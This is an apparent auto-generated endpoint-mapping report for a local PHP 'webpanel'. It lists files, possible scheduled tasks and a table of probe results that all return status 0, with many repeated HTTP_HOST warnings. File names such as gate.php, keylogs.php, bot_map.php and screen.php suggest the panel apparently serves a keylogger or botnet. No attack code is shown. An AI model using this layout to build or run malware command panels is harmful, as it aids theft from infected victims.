- .\Panel\user_actions.php
- .\Panel\view_file.php
- .\Panel\view_log.php
- .\panel_fix.php
- .\refresh_domains.php
- .\refresh_panel.php
- .\refresh_stats.php
- .\remove_cybervax.php
- .\screen.php
- .\task.php
- .\test_gate.php
- .\update_all_stats.php
- .\update_logs_username.php
- .\verify_zip_upload.php

## Potential Scheduled Tasks

- .\identify_entry_points.php
- .\Panel\bot_map.php
- .\Panel\cyberok.php
- .\Panel\header.php
- .\Panel\tasks.php
- .\Panel\update_tasks_table.php
- .\task.php

## Testing Unexpected API Endpoints

Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164 Warning: Undefined array key "HTTP_HOST" in C:\xampp\htdocs\webpanel\identify_entry_points.php on line 164

File | Status Code | Response
--- | --- | ---
apache_test.php | 0 |
check.php | 0 |
check_tables.php | 0 |
config.php | 0 |
db_config.php | 0 |
direct_update.php | 0 |
full_request_debug.php | 0 |
gate.php | 0 |
gate_fixed.php | 0 |
gate_universal.php | 0 |
get_latest_stats.php | 0 |
header.php | 0 |
index.php | 0 |
keylogs.php | 0 |
logs.php | 0 |
modules.php | 0 |
panel_fix.php | 0 |
phpinfo.php | 0 |
raw_post_debug.php | 0 |
refresh_domains.php | 0 |
refresh_panel.php | 0 |
refresh_stats.php | 0 |
screen.php | 0 |
task.php | 0 |
test.php | 0 |
test_gate.php | 0 |
test_post.php | 0 |
update_all_stats.php | 0 |
update_logs_username.php | 0 |
verify_zip_upload.php | 0 |